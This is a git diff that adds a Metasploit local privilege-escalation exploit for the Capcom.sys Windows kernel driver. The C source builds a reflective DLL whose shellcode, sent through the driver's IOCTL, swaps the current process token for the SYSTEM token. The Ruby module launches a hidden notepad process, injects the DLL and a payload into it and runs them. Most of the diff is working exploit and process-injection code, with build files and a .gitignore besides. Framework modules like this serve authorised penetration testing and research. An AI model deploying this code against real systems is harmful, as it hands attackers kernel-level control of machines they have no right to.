diff --git a/data/exploits/capcom_sys_exec/capcom_sys_exec.x64.dll b/data/exploits/capcom_sys_exec/capcom_sys_exec.x64.dll new file mode 100755 index 0000000000..b0351af820 Binary files /dev/null and b/data/exploits/capcom_sys_exec/capcom_sys_exec.x64.dll differ diff --git a/external/source/exploits/capcom_sys_exec/.gitignore b/external/source/exploits/capcom_sys_exec/.gitignore new file mode 100755 index 0000000000..7649d7f46b --- /dev/null +++ b/external/source/exploits/capcom_sys_exec/.gitignore @@ -0,0 +1,151 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.sln.docstates + +# Build results + +[Dd]ebug/ +[Rr]elease/ +x64/ +build/ +[Bb]in/ +[Oo]bj/ + +# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets +!packages/*/build/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +*_i.c +*_p.c +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.log +*.scc + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opensdf +*.sdf +*.cachefile + +# Visual Studio profiler +*.psess +*.vsp +*.vspx + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +*.ncrunch* +.*crunch*.local.xml + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.Publish.xml +*.pubxml + +# NuGet Packages Directory +## TODO: If you have NuGet Package Restore enabled, uncomment the next line +#packages/ + +# Windows Azure Build Output +csx +*.build.csdef + +# Windows Store app package directory +AppPackages/ + +# Others +sql/ +*.Cache +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.[Pp]ublish.xml +*.pfx +*.publishsettings + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file to a newer +# Visual Studio version. Backup files are not needed, because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +App_Data/*.mdf +App_Data/*.ldf + +# ========================= +# Windows detritus +# ========================= + +# Windows image file caches +Thumbs.db +ehthumbs.db + +# Folder config file +Desktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Mac crap +.DS_Store diff --git a/external/source/exploits/capcom_sys_exec/capcom_sys_exec.sln b/external/source/exploits/capcom_sys_exec/capcom_sys_exec.sln new file mode 100755 index 0000000000..fb52f1921d --- /dev/null +++ b/external/source/exploits/capcom_sys_exec/capcom_sys_exec.sln @@ -0,0 +1,19 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "capcom_sys_exec", "capcom_sys_exec\capcom_sys_exec.vcxproj", "{A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}.Release|x64.ActiveCfg = Release|x64 + {A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/capcom_sys_exec/capcom_sys_exec/capcom_sys_exec.c b/external/source/exploits/capcom_sys_exec/capcom_sys_exec/capcom_sys_exec.c new file mode 100755 index 0000000000..5023420aac --- /dev/null +++ b/external/source/exploits/capcom_sys_exec/capcom_sys_exec/capcom_sys_exec.c @@ -0,0 +1,110 @@ +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +#include "kernel.h" + +DWORD WINAPI execute_payload(LPVOID lpPayload) +{ + VOID(*lpCode)() = (VOID(*)())lpPayload; + lpCode(); + return ERROR_SUCCESS; +} + +DWORD WINAPI capcom_sys_exec(LPVOID lpPayload) +{ + const DWORD PwnControlCode = 0xAA013044; + HANDLE driver = INVALID_HANDLE_VALUE; + PBYTE payload = NULL; + + do + { + if (!is_driver_loaded(L"capcom.sys")) + { + break; + } + + if (!prepare_for_kernel()) + { + break; + } + + // Get a handle to the capcom.sys driver. + driver = CreateFile(TEXT("\\\\.\\Htsysm72FB"), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, + OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + + if (driver == INVALID_HANDLE_VALUE) + { + break; + } + + // get a payload read that should cause it to weep + BYTE payloadTemplate[] = + { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Pointer to the CALL will be set here too + 0xE8, 0x08, 0x00, 0x00, 0x00, // CALL $+8 (causes push of address of steal token) + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Pointer to the token stealer will go here + 0x58, // POP RAX - get the address containing the steal token func + 0xFF, 0x20 // JMP [RAX] - call the steal token function + }; + + payload = VirtualAlloc(0, sizeof(payloadTemplate) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + + if (payload == NULL) + { + break; + } + + // copy the template into the target buffer + memcpy(payload, payloadTemplate, sizeof(payloadTemplate)); + + // update the template with the relevent info + *(PULONG_PTR)payload = (ULONG_PTR)(payload + 8); // point the first 8 bytes to the second 8 bytes + *(PULONG_PTR)(payload + 13) = (ULONG_PTR)steal_process_token; // insert the token stealer address + + ULONG_PTR target = (ULONG_PTR)(payload + 8); + DWORD bytesReturned = 0; + DeviceIoControl(driver, PwnControlCode, &target, 8, payload, 4, &bytesReturned, NULL); + + if (was_token_replaced() && lpPayload) + { + execute_payload(lpPayload); + } + + } while (0); + + if (payload != NULL) + { + VirtualFree(payload, 0, MEM_RELEASE); + } + + if (driver != INVALID_HANDLE_VALUE) + { + CloseHandle(driver); + } + + return 0; +} + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + BOOL bReturnValue = TRUE; + switch (dwReason) + { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) + { + *(HMODULE *)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + capcom_sys_exec(lpReserved); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} diff --git a/external/source/exploits/capcom_sys_exec/capcom_sys_exec/capcom_sys_exec.vcxproj b/external/source/exploits/capcom_sys_exec/capcom_sys_exec/capcom_sys_exec.vcxproj new file mode 100755 index 0000000000..f9212f3562 --- /dev/null +++ b/external/source/exploits/capcom_sys_exec/capcom_sys_exec/capcom_sys_exec.vcxproj @@ -0,0 +1,107 @@ + + + + + Release + x64 + + + + + + + + + + + + {a67ba207-7aac-4850-beb1-e7fa07bac0b1} + capcom_sys_exec + Win32Proj + + + + DynamicLibrary + MultiByte + false + v120_xp + + + + + + + + + + + <_ProjectFileVersion>10.0.30319.1 + $(Configuration)\$(Platform)\ + $(Configuration)\$(Platform)\ + false + false + AllRules.ruleset + + + $(ProjectName).$(PlatformShortName) + + + $(VC_IncludePath);$(WindowsSdk_71A_IncludePath);../../../win_kernel_common + + + + MinSpace + OnlyExplicitInline + false + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;CAPCOM_SYS_EXEC_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + Size + true + + + psapi.lib;%(AdditionalDependencies) + %(AdditionalLibraryDirectories) + false + %(IgnoreSpecificDefaultLibraries) + %(DelayLoadDLLs) + false + true + $(OutDir)\capcom_sys_exec.map + Windows + + + + + false + + + $(OutDir)\capcom_sys_exec.lib + false + + + /ignore:4070 + + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.01 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "..\..\..\..\..\data\exploits\capcom_sys_exec\" GOTO COPY + mkdir "..\..\..\..\..\data\exploits\capcom_sys_exec\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\capcom_sys_exec\" + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/capcom_sys_exec/make.msbuild b/external/source/exploits/capcom_sys_exec/make.msbuild new file mode 100755 index 0000000000..cd93d76f5c --- /dev/null +++ b/external/source/exploits/capcom_sys_exec/make.msbuild @@ -0,0 +1,17 @@ + + + + .\capcom_sys_exec.sln + + + + + + + + + + + + + diff --git a/external/source/exploits/make.bat b/external/source/exploits/make.bat index 53aaf45e4e..bf05a67591 100755 --- a/external/source/exploits/make.bat +++ b/external/source/exploits/make.bat @@ -92,6 +92,13 @@ IF "%ERRORLEVEL%"=="0" ( POPD ) +IF "%ERRORLEVEL%"=="0" ( + ECHO "Building CAPCOM.SYS Driver exec" + PUSHD capcom_sys_exec + msbuild.exe make.msbuild /target:%PLAT% + POPD +) + FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6% echo Finished %ldt% diff --git a/external/source/win_kernel_common/kernel.c b/external/source/win_kernel_common/kernel.c new file mode 100755 index 0000000000..070acf3322 --- /dev/null +++ b/external/source/win_kernel_common/kernel.c @@ -0,0 +1,274 @@ +#include +#include "windefs.h" +#include "kernel.h" +#include + +#define SYSTEM_PID 4 +#define DRIVER_COUNT 1024 + +typedef NTSTATUS(NTAPI*PLOOKUPPROCESSBYID)(HANDLE processId, PVOID process); +typedef PACCESS_TOKEN(NTAPI*PREFPRIMARYTOKEN)(PVOID process); +typedef NTSTATUS(WINAPI*PNTQUERYSYSTEMINFORMATION)(SYSTEM_INFORMATION_CLASS sysInfoClass, PVOID sysInfo, ULONG sysInfoLength, PULONG returnLength); +typedef NTSTATUS(WINAPI*PNTQUERYINTERVALPROFILE)(DWORD profileSource, PULONG interval); + +static ULONG_PTR g_pHalDispatch = 0L; +static PLOOKUPPROCESSBYID g_pLookupProcessById = NULL; +static PREFPRIMARYTOKEN g_pRefPrimaryToken = NULL; +static DWORD g_currentPid = 0; +static DWORD g_replaced = FALSE; + +static NTSTATUS WINAPI NtQueryIntervalProfile(DWORD profileSource, PULONG interval) +{ + static PNTQUERYINTERVALPROFILE pNtQueryIntervalProfile = NULL; + + if (pNtQueryIntervalProfile == NULL) + { + pNtQueryIntervalProfile = (PNTQUERYINTERVALPROFILE)GetProcAddress(GetModuleHandle(TEXT("ntdll")), "NtQueryIntervalProfile"); + } + + return pNtQueryIntervalProfile(profileSource, interval); +} + +static NTSTATUS WINAPI NtQuerySystemInformation(SYSTEM_INFORMATION_CLASS sysInfoClass, PVOID sysInfo, ULONG sysInfoLength, PULONG returnLength) +{ + static PNTQUERYSYSTEMINFORMATION pNtQuerySystemInformation = NULL; + + if (pNtQuerySystemInformation == NULL) + { + pNtQuerySystemInformation = (PNTQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandle(TEXT("ntdll")), "NtQuerySystemInformation"); + } + + return pNtQuerySystemInformation(sysInfoClass, sysInfo, sysInfoLength, returnLength); +} + +static PVOID get_system_info(SYSTEM_INFORMATION_CLASS infoClass) +{ + ULONG size = 0x100; + const ULONG maxSize = size << 10; + PVOID buffer = NULL; + NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH; + ULONG memIO = 0; + + while (status == STATUS_INFO_LENGTH_MISMATCH && maxSize > size) + { + buffer = buffer == NULL ? HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size) : HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, buffer, size); + status = NtQuerySystemInformation(infoClass, buffer, size, &memIO); + size = size << 1; + } + + if (NT_SUCCESS(status)) + { + return buffer; + } + + if (buffer != NULL) + { + HeapFree(GetProcessHeap(), 0, buffer); + } + + return NULL; +} + +static VOID find_and_replace_member(PDWORD_PTR pStruct, DWORD_PTR currentValue, DWORD_PTR newValue, DWORD_PTR maxSize) +{ + DWORD_PTR mask = ~(sizeof(DWORD_PTR) == sizeof(DWORD) ? 7 : 0xf); + g_replaced = FALSE; + + for (DWORD_PTR i = 0; i < maxSize; ++i) + { + if (((pStruct[i] ^ currentValue) & mask) == 0) + { + pStruct[i] = newValue; + g_replaced = TRUE; + return; + } + } +} + +BOOL is_driver_loaded(wchar_t* driverName) +{ + // start by finding out how big the buffer size needs to be: + LPVOID derp = 0; + DWORD sizeNeeded = 0; + BOOL result = FALSE; + + // determine the size required first + EnumDeviceDrivers(&derp, sizeof(derp), &sizeNeeded); + + LPVOID* driverList = (LPVOID*)malloc(sizeNeeded); + + if (EnumDeviceDrivers(driverList, sizeNeeded, &sizeNeeded)) + { + wchar_t driver[MAX_PATH]; + DWORD driverCount = sizeNeeded / sizeof(LPVOID); + + for (DWORD i = 0; i < driverCount; ++i) + { + if (GetDeviceDriverBaseNameW(driverList[i], driver, MAX_PATH) + && _wcsicmp(driver, driverName) == 0) + { + result = TRUE; + break; + } + } + } + + free(driverList); + + return result; +} + +// Simple wrapper over the steal_process_token that takes the four arguments used by the function we +// overwrite in the HAL dispatch +VOID hal_dispatch_steal_process_token(DWORD_PTR arg1, DWORD_PTR arg2, DWORD_PTR arg3, DWORD_PTR arg4) +{ + steal_process_token(); +} + +VOID steal_process_token() +{ + LPVOID currentProcessInfo = NULL; + LPVOID systemProcessInfo = NULL; + + g_pLookupProcessById((HANDLE)g_currentPid, ¤tProcessInfo); + g_pLookupProcessById((HANDLE)SYSTEM_PID, &systemProcessInfo); + + PACCESS_TOKEN targetToken = g_pRefPrimaryToken(currentProcessInfo); + PACCESS_TOKEN systemToken = g_pRefPrimaryToken(systemProcessInfo); + + find_and_replace_member((PDWORD_PTR)currentProcessInfo, (DWORD_PTR)targetToken, (DWORD_PTR)systemToken, 0x200); +} + +BOOL prepare_for_kernel() +{ + BOOL result = FALSE; + PRTL_PROCESS_MODULES procModules = NULL; + CHAR fullKernelPath[MAX_PATH * 2 + 1] = { 0 }; + PVOID mappedKernel = NULL; + + do + { + procModules = get_system_info(SystemModuleInformation); + if (procModules == NULL || procModules->NumberOfModules == 0) + { + break; + } + + UINT length = GetSystemDirectoryA(fullKernelPath, MAX_PATH); + fullKernelPath[length] = '\\'; + + const char* firstModule = (const char*)&procModules->Modules[0].FullPathName[procModules->Modules[0].OffsetToFileName]; + strcat_s(fullKernelPath, MAX_PATH, firstModule); + + ULONG_PTR kernelBase = (ULONG_PTR)procModules->Modules[0].ImageBase; + mappedKernel = LoadLibraryExA(fullKernelPath, NULL, DONT_RESOLVE_DLL_REFERENCES); + if (mappedKernel == NULL) + { + break; + } + + ULONG_PTR funcAddr = (ULONG_PTR)GetProcAddress(mappedKernel, "PsLookupProcessByProcessId"); + + if (funcAddr == 0L) + { + break; + } + + g_pLookupProcessById = (PLOOKUPPROCESSBYID)(kernelBase + funcAddr - (ULONG_PTR)mappedKernel); + + funcAddr = (ULONG_PTR)GetProcAddress(mappedKernel, "PsReferencePrimaryToken"); + + if (funcAddr == 0L) + { + break; + } + + g_pRefPrimaryToken = (PREFPRIMARYTOKEN)(kernelBase + funcAddr - (ULONG_PTR)mappedKernel); + + funcAddr = (ULONG_PTR)GetProcAddress(mappedKernel, "HalDispatchTable"); + + if (funcAddr != 0L) + { + g_pHalDispatch = kernelBase + funcAddr - (ULONG_PTR)mappedKernel; + } + + g_currentPid = GetCurrentProcessId(); + + result = TRUE; + } while (0); + + if (mappedKernel != NULL) + { + FreeLibrary(mappedKernel); + } + + if (procModules != NULL) + { + HeapFree(GetProcessHeap(), 0, procModules); + } + + return result; +} + +BOOL was_token_replaced() +{ + return g_replaced; +} + +ULONG_PTR get_hal_dispatch_pointer() +{ + return g_pHalDispatch + sizeof(ULONG_PTR); +} + +VOID invoke_hal_dispatch_pointer() +{ + ULONG ignored; + NtQueryIntervalProfile(1234, &ignored); +} + +DWORD get_page_size() +{ + static DWORD pageSize = 0; + if (pageSize == 0) + { + SYSTEM_INFO si; + GetSystemInfo(&si); + pageSize = si.dwPageSize; + } + return pageSize; +} + +BOOL create_anon_mapping(MemMapping* memMap) +{ + memMap->mapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, get_page_size(), NULL); + if (memMap->mapping == NULL) + { + return FALSE; + } + + memMap->buffer = (LPBYTE)MapViewOfFile(memMap->mapping, FILE_MAP_ALL_ACCESS, 0, 0, get_page_size()); + if (memMap->buffer == NULL) + { + destroy_anon_mapping(memMap); + return FALSE; + } + + return TRUE; +} + +VOID destroy_anon_mapping(MemMapping* memMap) +{ + if (memMap != NULL) + { + if (memMap->buffer) + { + UnmapViewOfFile(memMap->buffer); + memMap->buffer = NULL; + } + if (memMap->mapping != NULL) + { + CloseHandle(memMap->mapping); + memMap->mapping = NULL; + } + } +} \ No newline at end of file diff --git a/external/source/win_kernel_common/kernel.h b/external/source/win_kernel_common/kernel.h new file mode 100755 index 0000000000..492b7a7ade --- /dev/null +++ b/external/source/win_kernel_common/kernel.h @@ -0,0 +1,23 @@ +#ifndef _KERNEL_H +#define _KERNEL_H + +#include "windefs.h" + +typedef struct _MemMapping +{ + HANDLE mapping; + LPBYTE buffer; +} MemMapping; + +BOOL was_token_replaced(); +BOOL prepare_for_kernel(); +VOID steal_process_token(); +VOID hal_dispatch_steal_process_token(); +ULONG_PTR get_hal_dispatch_pointer(); +DWORD get_page_size(); +BOOL create_anon_mapping(MemMapping* memMap); +VOID destroy_anon_mapping(MemMapping* memMap); +VOID invoke_hal_dispatch_pointer(); +BOOL is_driver_loaded(wchar_t* driverName); + +#endif diff --git a/external/source/win_kernel_common/windefs.h b/external/source/win_kernel_common/windefs.h new file mode 100755 index 0000000000..a0ec2e0d94 --- /dev/null +++ b/external/source/win_kernel_common/windefs.h @@ -0,0 +1,199 @@ +#ifndef _WINDEFS_H +#define _WINDEFS_H + +// Hooray for windows API stuff being so shit including different files results in a mess +#pragma warning(disable: 4005) // Macro redefinition + +#include +#include +#include + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + +#ifndef SYSTEM_INFORMATION_CLASS +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation = 0, + SystemProcessorInformation = 1, + SystemPerformanceInformation = 2, + SystemTimeOfDayInformation = 3, + SystemPathInformation = 4, + SystemProcessInformation = 5, + SystemCallCountInformation = 6, + SystemDeviceInformation = 7, + SystemProcessorPerformanceInformation = 8, + SystemFlagsInformation = 9, + SystemCallTimeInformation = 10, + SystemModuleInformation = 11, + SystemLocksInformation = 12, + SystemStackTraceInformation = 13, + SystemPagedPoolInformation = 14, + SystemNonPagedPoolInformation = 15, + SystemHandleInformation = 16, + SystemObjectInformation = 17, + SystemPageFileInformation = 18, + SystemVdmInstemulInformation = 19, + SystemVdmBopInformation = 20, + SystemFileCacheInformation = 21, + SystemPoolTagInformation = 22, + SystemInterruptInformation = 23, + SystemDpcBehaviorInformation = 24, + SystemFullMemoryInformation = 25, + SystemLoadGdiDriverInformation = 26, + SystemUnloadGdiDriverInformation = 27, + SystemTimeAdjustmentInformation = 28, + SystemSummaryMemoryInformation = 29, + SystemMirrorMemoryInformation = 30, + SystemPerformanceTraceInformation = 31, + SystemObsolete0 = 32, + SystemExceptionInformation = 33, + SystemCrashDumpStateInformation = 34, + SystemKernelDebuggerInformation = 35, + SystemContextSwitchInformation = 36, + SystemRegistryQuotaInformation = 37, + SystemExtendServiceTableInformation = 38, + SystemPrioritySeperation = 39, + SystemVerifierAddDriverInformation = 40, + SystemVerifierRemoveDriverInformation = 41, + SystemProcessorIdleInformation = 42, + SystemLegacyDriverInformation = 43, + SystemCurrentTimeZoneInformation = 44, + SystemLookasideInformation = 45, + SystemTimeSlipNotification = 46, + SystemSessionCreate = 47, + SystemSessionDetach = 48, + SystemSessionInformation = 49, + SystemRangeStartInformation = 50, + SystemVerifierInformation = 51, + SystemVerifierThunkExtend = 52, + SystemSessionProcessInformation = 53, + SystemLoadGdiDriverInSystemSpace = 54, + SystemNumaProcessorMap = 55, + SystemPrefetcherInformation = 56, + SystemExtendedProcessInformation = 57, + SystemRecommendedSharedDataAlignment = 58, + SystemComPlusPackage = 59, + SystemNumaAvailableMemory = 60, + SystemProcessorPowerInformation = 61, + SystemEmulationBasicInformation = 62, + SystemEmulationProcessorInformation = 63, + SystemExtendedHandleInformation = 64, + SystemLostDelayedWriteInformation = 65, + SystemBigPoolInformation = 66, + SystemSessionPoolTagInformation = 67, + SystemSessionMappedViewInformation = 68, + SystemHotpatchInformation = 69, + SystemObjectSecurityMode = 70, + SystemWatchdogTimerHandler = 71, + SystemWatchdogTimerInformation = 72, + SystemLogicalProcessorInformation = 73, + SystemWow64SharedInformationObsolete = 74, + SystemRegisterFirmwareTableInformationHandler = 75, + SystemFirmwareTableInformation = 76, + SystemModuleInformationEx = 77, + SystemVerifierTriageInformation = 78, + SystemSuperfetchInformation = 79, + SystemMemoryListInformation = 80, + SystemFileCacheInformationEx = 81, + SystemThreadPriorityClientIdInformation = 82, + SystemProcessorIdleCycleTimeInformation = 83, + SystemVerifierCancellationInformation = 84, + SystemProcessorPowerInformationEx = 85, + SystemRefTraceInformation = 86, + SystemSpecialPoolInformation = 87, + SystemProcessIdInformation = 88, + SystemErrorPortInformation = 89, + SystemBootEnvironmentInformation = 90, + SystemHypervisorInformation = 91, + SystemVerifierInformationEx = 92, + SystemTimeZoneInformation = 93, + SystemImageFileExecutionOptionsInformation = 94, + SystemCoverageInformation = 95, + SystemPrefetchPatchInformation = 96, + SystemVerifierFaultsInformation = 97, + SystemSystemPartitionInformation = 98, + SystemSystemDiskInformation = 99, + SystemProcessorPerformanceDistribution = 100, + SystemNumaProximityNodeInformation = 101, + SystemDynamicTimeZoneInformation = 102, + SystemCodeIntegrityInformation = 103, + SystemProcessorMicrocodeUpdateInformation = 104, + SystemProcessorBrandString = 105, + SystemVirtualAddressInformation = 106, + SystemLogicalProcessorAndGroupInformation = 107, + SystemProcessorCycleTimeInformation = 108, + SystemStoreInformation = 109, + SystemRegistryAppendString = 110, + SystemAitSamplingValue = 111, + SystemVhdBootInformation = 112, + SystemCpuQuotaInformation = 113, + SystemNativeBasicInformation = 114, + SystemErrorPortTimeouts = 115, + SystemLowPriorityIoInformation = 116, + SystemBootEntropyInformation = 117, + SystemVerifierCountersInformation = 118, + SystemPagedPoolInformationEx = 119, + SystemSystemPtesInformationEx = 120, + SystemNodeDistanceInformation = 121, + SystemAcpiAuditInformation = 122, + SystemBasicPerformanceInformation = 123, + SystemQueryPerformanceCounterInformation = 124, + SystemSessionBigPoolInformation = 125, + SystemBootGraphicsInformation = 126, + SystemScrubPhysicalMemoryInformation = 127, + SystemBadPageInformation = 128, + SystemProcessorProfileControlArea = 129, + SystemCombinePhysicalMemoryInformation = 130, + SystemEntropyInterruptTimingInformation = 131, + SystemConsoleInformation = 132, + SystemPlatformBinaryInformation = 133, + SystemPolicyInformation = 134, + SystemHypervisorProcessorCountInformation = 135, + SystemDeviceDataInformation = 136, + SystemDeviceDataEnumerationInformation = 137, + SystemMemoryTopologyInformation = 138, + SystemMemoryChannelInformation = 139, + SystemBootLogoInformation = 140, + SystemProcessorPerformanceInformationEx = 141, + SystemSpare0 = 142, + SystemSecureBootPolicyInformation = 143, + SystemPageFileInformationEx = 144, + SystemSecureBootInformation = 145, + SystemEntropyInterruptTimingRawInformation = 146, + SystemPortableWorkspaceEfiLauncherInformation = 147, + SystemFullProcessInformation = 148, + SystemKernelDebuggerInformationEx = 149, + SystemBootMetadataInformation = 150, + SystemSoftRebootInformation = 151, + SystemElamCertificateInformation = 152, + SystemOfflineDumpConfigInformation = 153, + SystemProcessorFeaturesInformation = 154, + SystemRegistryReconciliationInformation = 155, + SystemEdidInformation = 156, + MaxSystemInfoClass = 157 +} SYSTEM_INFORMATION_CLASS; +#endif + +typedef struct _RTL_PROCESS_MODULE_INFORMATION +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES +{ + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; + +#endif diff --git a/modules/exploits/windows/local/capcom_sys_exec.rb b/modules/exploits/windows/local/capcom_sys_exec.rb new file mode 100644 index 0000000000..842a5afe08 --- /dev/null +++ b/modules/exploits/windows/local/capcom_sys_exec.rb @@ -0,0 +1,118 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/post/windows/reflective_dll_injection' +require 'rex' + +class MetasploitModule < Msf::Exploit::Local + Rank = NormalRanking + + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + include Msf::Post::Windows::ReflectiveDLLInjection + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'Windows Capcom.sys kernel execution exploit (x64 only)', + 'Description' => %q{ + This module abuses the Capcom.sys kernel driver's function that allows for an + arbitrary function to be executed in the kernel from user land. This function + purposely disables SMEP prior to invoking a function given by the caller. + This has been tested on Windows 7 x64. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'TheWack0lian', # Issue discovery + 'OJ Reeves' # exploit and msf module + ], + 'Arch' => [ ARCH_X86_64], + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => { + 'EXITFUNC' => 'thread', + }, + 'Targets' => [ + [ 'Windows x64 (<= 8)', { 'Arch' => ARCH_X86_64 } ] + ], + 'Payload' => { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => [ + ['URL', 'https://twitter.com/TheWack0lian/status/779397840762245124'] + ], + 'DefaultTarget' => 0 + })) + end + + def check + if sysinfo['OS'] !~ /windows 7/i + return Exploit::CheckCode::Unknown + end + + if sysinfo['Architecture'] =~ /(wow|x)64/i + arch = ARCH_X86_64 + else + return Exploit::CheckCode::Safe + end + + file_path = expand_path('%windir%') << '\\system32\\capcom.sys' + return Exploit::CheckCode::Safe unless file_exist?(file_path) + + # TODO: check for the capcom.sys driver and its version. + return Exploit::CheckCode::Appears + end + + def exploit + if is_system? + fail_with(Failure::None, 'Session is already elevated') + end + + check_result = check + if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown + fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') + end + + if sysinfo['Architecture'] =~ /wow64/i + fail_with(Failure::NoTarget, 'Running against WOW64 is not supported, please get an x64 session') + elsif sysinfo['Architecture'] =~ /x64/ && target.arch.first == ARCH_X86 + fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') + end + + print_status('Launching notepad to host the exploit...') + notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) + begin + process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) + print_good("Process #{process.pid} launched.") + rescue Rex::Post::Meterpreter::RequestError + # Reader Sandbox won't allow to create a new process: + # stdapi_sys_process_execute: Operation failed: Access is denied. + print_status('Operation failed. Trying to elevate the current process...') + process = client.sys.process.open + end + + print_status("Reflectively injecting the exploit DLL into #{process.pid}...") + + library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'capcom_sys_exec', + 'capcom_sys_exec.x64.dll') + library_path = ::File.expand_path(library_path) + + print_status("Injecting exploit into #{process.pid}...") + exploit_mem, offset = inject_dll_into_process(process, library_path) + + print_status("Exploit injected. Injecting payload into #{process.pid}...") + payload_mem = inject_into_process(process, payload.encoded) + + # invoke the exploit, passing in the address of the payload that + # we want invoked on successful exploitation. + print_status('Payload injected. Executing exploit...') + process.thread.create(exploit_mem + offset, payload_mem) + + print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') + end + +end